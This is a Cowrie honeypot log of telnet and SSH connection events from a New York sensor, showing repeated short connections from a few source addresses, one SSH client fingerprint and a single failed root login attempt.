{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"706658cbb65b","protocol":"telnet","message":"New connection: 185.111.235.80:46422 (10.17.0.5:23) [session: 706658cbb65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.102894Z"}
{"eventid":"cowrie.session.closed","duration":32.913294315338135,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.285980Z","src_ip":"185.111.235.80","session":"a88db779507b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53130,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e369b97d81","protocol":"telnet","message":"New connection: 185.111.235.80:53130 (10.17.0.5:23) [session: 93e369b97d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.604040Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53326,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ece52bfc093","protocol":"telnet","message":"New connection: 185.111.235.80:53326 (10.17.0.5:23) [session: 6ece52bfc093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.635021Z"}
{"eventid":"cowrie.session.closed","duration":30.50919198989868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.893410Z","src_ip":"185.111.235.80","session":"1fda53ba1e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824355602264404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:49.942528Z","src_ip":"185.111.235.80","session":"01b219df038d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964845418930054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.101830Z","src_ip":"117.120.7.112","session":"e6f967d6927c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fa19b2625f","protocol":"telnet","message":"New connection: 185.111.235.80:50866 (10.17.0.5:23) [session: d0fa19b2625f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.126248Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57258,"dst_ip":"10.17.0.5","dst_port":23,"session":"996258c176c6","protocol":"telnet","message":"New connection: 185.111.235.80:57258 (10.17.0.5:23) [session: 996258c176c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.371560Z"}
{"eventid":"cowrie.session.closed","duration":31.359315633773804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.414826Z","src_ip":"185.111.235.80","session":"9c0b613a0c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":46484,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e63ae9e8aa","protocol":"telnet","message":"New connection: 117.120.7.112:46484 (159.203.135.109:23) [session: b1e63ae9e8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.498476Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45686,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d61d02573f2","protocol":"telnet","message":"New connection: 108.61.242.114:45686 (10.17.0.5:23) [session: 0d61d02573f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.872838Z"}
{"eventid":"cowrie.session.closed","duration":30.163132429122925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.893111Z","src_ip":"185.111.235.80","session":"4e2aeb568c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71169424057007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.906605Z","src_ip":"185.111.235.80","session":"65ab3b881b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48085355758667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:50.926342Z","src_ip":"185.111.235.80","session":"64c5d3df49e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb45287e22d6","protocol":"telnet","message":"New connection: 185.111.235.80:55566 (10.17.0.5:23) [session: bb45287e22d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.060405Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eacded40f60","protocol":"telnet","message":"New connection: 185.111.235.80:60456 (10.17.0.5:23) [session: 9eacded40f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.101581Z"}
{"eventid":"cowrie.session.closed","duration":31.27444863319397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.148969Z","src_ip":"117.120.7.112","session":"bef47c0711f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60814,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae419bee7ec","protocol":"telnet","message":"New connection: 185.111.235.80:60814 (10.17.0.5:23) [session: eae419bee7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.169121Z"}
{"eventid":"cowrie.session.closed","duration":31.224007844924927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.298770Z","src_ip":"185.111.235.80","session":"be16169b4151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33344,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8d545b30c6","protocol":"telnet","message":"New connection: 185.111.235.80:33344 (10.17.0.5:23) [session: 9f8d545b30c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.306099Z"}
{"eventid":"cowrie.session.closed","duration":30.629286527633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.311274Z","src_ip":"117.120.7.112","session":"1be0de957df4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270846605300903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.368099Z","src_ip":"185.111.235.80","session":"93ba68a13d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa2ecc17ba7","protocol":"telnet","message":"New connection: 185.111.235.80:44622 (10.17.0.5:23) [session: 0aa2ecc17ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.690214Z"}
{"eventid":"cowrie.session.closed","duration":30.688270330429077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:51.897181Z","src_ip":"185.111.235.80","session":"011aeaaf5f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2aa266d54c","protocol":"telnet","message":"New connection: 185.111.235.80:36710 (10.17.0.5:23) [session: 8a2aa266d54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.023469Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3edc42b0f0e","protocol":"telnet","message":"New connection: 185.111.235.80:37400 (10.17.0.5:23) [session: c3edc42b0f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.114858Z"}
{"eventid":"cowrie.session.closed","duration":30.726400136947632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.138858Z","src_ip":"185.111.235.80","session":"15428af25430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"d921c10a4e2a","protocol":"telnet","message":"New connection: 185.111.235.80:33376 (10.17.0.5:23) [session: d921c10a4e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.317282Z"}
{"eventid":"cowrie.session.closed","duration":31.235920190811157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.852445Z","src_ip":"185.111.235.80","session":"1d5d695b6540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60054,"dst_ip":"10.17.0.5","dst_port":22,"session":"09af853f69d8","protocol":"ssh","message":"New connection: 176.65.139.103:60054 (10.17.0.5:22) [session: 09af853f69d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.861936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.866476Z","src_ip":"176.65.139.103","session":"09af853f69d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852951288223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.937564Z","src_ip":"185.111.235.80","session":"1869f099f286","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:52.948312Z","src_ip":"176.65.139.103","session":"09af853f69d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.248437881469727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.020341Z","src_ip":"117.120.7.112","session":"6a63f081adea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50906,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ee1d6f4a62","protocol":"telnet","message":"New connection: 185.111.235.80:50906 (10.17.0.5:23) [session: 27ee1d6f4a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.164202Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42793,"dst_ip":"10.17.0.5","dst_port":23,"session":"614b11f76409","protocol":"telnet","message":"New connection: 185.111.235.80:42793 (10.17.0.5:23) [session: 614b11f76409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.178210Z"}
{"eventid":"cowrie.session.closed","duration":30.594702005386353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.196096Z","src_ip":"117.120.7.112","session":"aac1ab22c4ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42976,"dst_ip":"10.17.0.5","dst_port":23,"session":"0efa95c90ee8","protocol":"telnet","message":"New connection: 185.111.235.80:42976 (10.17.0.5:23) [session: 0efa95c90ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.214286Z"}
{"eventid":"cowrie.session.closed","duration":31.204296588897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.219558Z","src_ip":"117.120.7.112","session":"8d767c31604f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.227117Z","src_ip":"176.65.139.103","session":"09af853f69d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67804217338562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.239889Z","src_ip":"185.111.235.80","session":"ee807d46c8f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.345261335372925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.311801Z","src_ip":"117.120.7.112","session":"ffe1f0473d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38616,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3e4b4e1910","protocol":"telnet","message":"New connection: 185.111.235.80:38616 (10.17.0.5:23) [session: 0f3e4b4e1910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.323952Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45846,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1efb07bab4","protocol":"telnet","message":"New connection: 185.111.235.80:45846 (10.17.0.5:23) [session: df1efb07bab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.831237Z"}
{"eventid":"cowrie.session.closed","duration":31.184903860092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:53.983698Z","src_ip":"185.111.235.80","session":"82da5e0f73b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b95e9ac8a7","protocol":"telnet","message":"New connection: 185.111.235.80:55220 (10.17.0.5:23) [session: 59b95e9ac8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.087818Z"}
{"eventid":"cowrie.session.closed","duration":30.38317346572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.110417Z","src_ip":"117.120.7.112","session":"c2b4c80a1208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47684,"dst_ip":"10.17.0.5","dst_port":23,"session":"495cac6df742","protocol":"telnet","message":"New connection: 185.111.235.80:47684 (10.17.0.5:23) [session: 495cac6df742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.193409Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47936,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d47db7eac5","protocol":"telnet","message":"New connection: 185.111.235.80:47936 (10.17.0.5:23) [session: 67d47db7eac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.239821Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"41cb136e1e4e","protocol":"telnet","message":"New connection: 185.111.235.80:48882 (10.17.0.5:23) [session: 41cb136e1e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.400126Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49022,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfd32342283","protocol":"telnet","message":"New connection: 185.111.235.80:49022 (10.17.0.5:23) [session: 9dfd32342283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.440182Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":53810,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9f457c0384","protocol":"telnet","message":"New connection: 117.120.7.112:53810 (159.203.135.109:23) [session: 7a9f457c0384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.477539Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.495140Z","src_ip":"176.65.139.103","session":"09af853f69d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.754204511642456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.564876Z","src_ip":"185.111.235.80","session":"9e70d114f3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51254,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a37794df05","protocol":"telnet","message":"New connection: 185.111.235.80:51254 (10.17.0.5:23) [session: 48a37794df05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.937561Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51426,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9467d918127","protocol":"telnet","message":"New connection: 185.111.235.80:51426 (10.17.0.5:23) [session: f9467d918127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:54.977876Z"}
{"eventid":"cowrie.session.closed","duration":30.926774263381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.010971Z","src_ip":"185.111.235.80","session":"4a91461f5fdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45694,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d3dbb5b2ea","protocol":"telnet","message":"New connection: 108.61.242.114:45694 (10.17.0.5:23) [session: c3d3dbb5b2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.040955Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6eed50e101a","protocol":"telnet","message":"New connection: 185.111.235.80:55876 (10.17.0.5:23) [session: a6eed50e101a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.147630Z"}
{"eventid":"cowrie.session.closed","duration":34.30307745933533,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.418466Z","src_ip":"185.111.235.80","session":"3edf0fb1f82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f611faaac6","protocol":"telnet","message":"New connection: 117.120.7.112:57286 (159.203.135.109:23) [session: 45f611faaac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.728337Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55650,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bdb17f69e0","protocol":"telnet","message":"New connection: 185.111.235.80:55650 (10.17.0.5:23) [session: 51bdb17f69e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.817400Z"}
{"eventid":"cowrie.session.closed","duration":30.85261344909668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.884182Z","src_ip":"185.111.235.80","session":"939201af917d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72593927383423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.899221Z","src_ip":"185.111.235.80","session":"c7d7e00e257e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.433831453323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:55.988197Z","src_ip":"185.111.235.80","session":"7ca3e5d18aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57826,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4bb5b4c21d7","protocol":"telnet","message":"New connection: 185.111.235.80:57826 (10.17.0.5:23) [session: e4bb5b4c21d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.175027Z"}
{"eventid":"cowrie.session.closed","duration":31.2564640045166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.293656Z","src_ip":"185.111.235.80","session":"8deeba41090d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418292760849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.372084Z","src_ip":"185.111.235.80","session":"b7a5e650df09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59890,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8dbaea7dd94","protocol":"telnet","message":"New connection: 185.111.235.80:59890 (10.17.0.5:23) [session: e8dbaea7dd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.611468Z"}
{"eventid":"cowrie.session.closed","duration":30.562340259552002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.890916Z","src_ip":"185.111.235.80","session":"9d0a1b94dcdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508229970932007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:56.946959Z","src_ip":"185.111.235.80","session":"013dc8485724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.161754608154297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:57.893432Z","src_ip":"185.111.235.80","session":"0c15b934c304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787677764892578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:57.953454Z","src_ip":"185.111.235.80","session":"28c1f2347f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb1ffec12d9","protocol":"telnet","message":"New connection: 185.111.235.80:38520 (10.17.0.5:23) [session: fbb1ffec12d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.034662Z"}
{"eventid":"cowrie.session.closed","duration":31.115647792816162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.040108Z","src_ip":"117.120.7.112","session":"88f04a2652c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4366774559021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:58.102233Z","src_ip":"185.111.235.80","session":"bbb4687355fb","protocol":"telnet"}
